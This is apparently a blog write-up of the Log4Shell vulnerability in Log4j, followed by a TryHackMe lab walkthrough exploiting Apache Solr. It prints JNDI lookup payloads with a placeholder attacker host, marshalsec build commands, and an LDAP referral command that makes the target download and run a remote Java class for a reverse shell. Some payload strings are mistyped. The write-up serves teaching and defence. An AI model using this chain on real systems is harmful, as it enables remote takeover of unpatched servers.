Log4j "Log4Shell" 0-Day Vulnerability Exploited In The Wild

Executive Summary

On December 9, 2021, a zero-day vulnerability was publicly disclosed involving Log4j, a popular Java logging framework. The vulnerability, dubbed "Log4Shell" and tracked as CVE-2021-44228, allows threat actor(s) to execute arbitrary code or potentially leak sensitive information. CVE-2021-44228 has received a Common Vulnerability Scoring System (CVSS) score of 10, classified as the most critical. It is estimated that the zero-day exploit affects hundreds of millions of devices and is very simple to execute.

CVE-2021-44228 was discovered by Chen Zhaojun of Alibaba's Cloud security team on November 24, 2021 and was privately disclosed to the Apache Software Foundation at that time before being released to the general public. The vulnerability has existed unnoticed since 2013. Most recently, China has suspended a deal with Alibaba Cloud for six months on account of failure to deliver prompt disclosure about a critical security vulnerability. Israeli security firm Check Point has noted that more than 4.3 million exploitation attempts have been blocked thus far, with 46% of those intrusions made by known malicious groups.

Analysis

Log4Shell (CVE-2021-44228) is a zero-day vulnerability affecting the Java logging package log4j. Successful exploitation of log4j can allow threat actor(s) to perform multple attack vectors including: privelege escalation, exfiltration, persistence, lateral movement or any post-exploitation involving cryptocurrency miners, remote access trojans (RATs), and the deployment of ransomware.

Patch remediation and mitigation steps have been released in log4j version >= 2.16.0; Java Naming and Directory Interface (JNDI) is fully disabled, support for Message Lookups is removed, and the new Denial of Service (DoS) vulnerability, CVE-2021-45046, is not present.

What makes this zero-day vulnerability significant is that millions of applications as well as software providers use this package as a dependency in their own code. A community-supported GitHub repository list of software and services vulnerable to CVE-2021-4228 can be found here.

Proof of Concept

The following is a "Log4Shell" exploitation example. Special thanks to tryhackme and John Hammond for putting the lab together!

The target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. On the Solr Dashboard, we can identify indicators that log4j is in use within the application for logging activity.

Below are sample Solr logs. In the second image, the Solr logs contain a significant number of INFO entries showing repeated requests to the URL endpoint "/admin/cores". Additionally, the log entries contain a field name "params", which indicates an entry point that a threat actor(s) could control.

The log4j package adds extra logic to logs by parsing entries to enrich the data. This is the gist of CVE-2021-44228.

          
            $(sys:os.name}
            $(sys:user.name}
            $(log4j:configParentLocation}
            $(ENV:PATH}
            ${ENV:HOSTNAME}
            ${java:version}
          
          

            
              ${jdni:ldap://ATTACKERCONTROLLEDHOST}
            
            

The syntax indicates that log4j will invoke functionality from Java Naming and Directory Interface (JNDI). This can be used by threat actor(s) to access external sources or references which is what is weaponized in this attack.

The "ldap://" schema indicates that the target will reach out to an endpoint (a threat actor controlled location), via the Lightweight Directory Access Protocol (LDAP) protocol.

ATTACKERCONTROLLEDHOST is a placeholder used in the example demo by tryhackme to confirm that the target will in fact make a connection to an external location.

We can use a Netcat listener on any port of the attacking machine while making a request using curl that will include the JNDI payload syntax as part of the HTTP parameters.

A successful connection is made to the attacking machine via netcat, confirming that the target is in fact vulnerable. However, as this is an LDAP request, all the netcat listener will see is non-printable characters. This can be fixed by responding with a real LDAP handler.

We can setup a python server and an LDAP Referral Server via the marshalsec utility found here. Additionally, the utility recommends running java 8 (ARM package download is required for new MacBook's using silicon chip).

            
                sudo apt install git
                git clone https://github.com/mbechler/marshalsec
                cd marshalsec
                sudo apt install maven
                mvn clean package -DskipTests
            
            

            
                java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 
                "http://10.2.83.84:8000/#Exploit"
            
            

The LDAP server is ready and waiting! Notice the listening port is 1389. The log4j vulnerability will execute arbituary code that is crafted within the Java programming language. We can create a sample payload that will retrieve a reverse-shell connection, allowing us to gain control over the target machine.

            
              javac Exploit.java -source 8 -target 8
            
            

The payload is now created and compiled, hosted on the python HTTP server in one terminal, while the LDAP referral server is up and waiting in another terminal. Next, we need to prepare a netcat listener to catch the reverse shell.

Initiate the exploit, utilizing the curl JNDI command syntax! Note the changes in the port number (port 1389, now referring to the LDAP server). The IP of the Solr virtual machine (VM) also changed at this point due to DHCP.

The netcat connection is successful.

The python server also received a GET request with status code 200.

Confirmation from the LDAPRefServer side.

Conclusion

Due to the nature and impact of Log4Shell, we may observe this vulnerability for a very long time. Once available, it is highly recommended to roll out patches and apply the latest security updates.

Fortunately, with the amazing support of the cyber security community, there are multiple alternatives readily available to begin scanning potentially impacted assets across your enterprise environments. The Cybersecurity and Infrastructure Security Agency (CISA) has since released an advisory providing great insight on how your oganization can better detect, respond, and mitigate impacted assets. You can read the advisory here.

Once again, I'd like to give a very special thanks to tryhackme.com and John Hammond for the excellent lab content. To fill in any further gaps, I highly recommend attempting the free "Solar, exploiting log4j" room on tryhackme.com to gain more insight. You can access it here.

References

1. Paganini, Pierluigi. "CISA releases a scanner to identify web services affected by Apache Log4j flaws", December 22, 2021. URL: https://securityaffairs.co/wordpress/125892/security/cisa-scanner-log4j-flaws.html?utm_source=rss&utm_medium=rss&utm_campaign=cisa-scanner-log4j-flaws

2. Hammond, John. "CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)", December 11, 2021. URL: https://www.youtube.com/watch?v=7qoPDq41xhQ&ab_channel=JohnHammond

3. Lakshmanan, Ravie. "China suspends deal with Alibaba for not sharing Log4j 0-day first with the government", December 22, 2021. URL: https://thehackernews.com/2021/12/china-suspends-deal-with-alibaba-for.html

4. Check Point. "Protecting Yourself Against The Apache Log4j Vulnerability", December 12, 2021. URL: https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/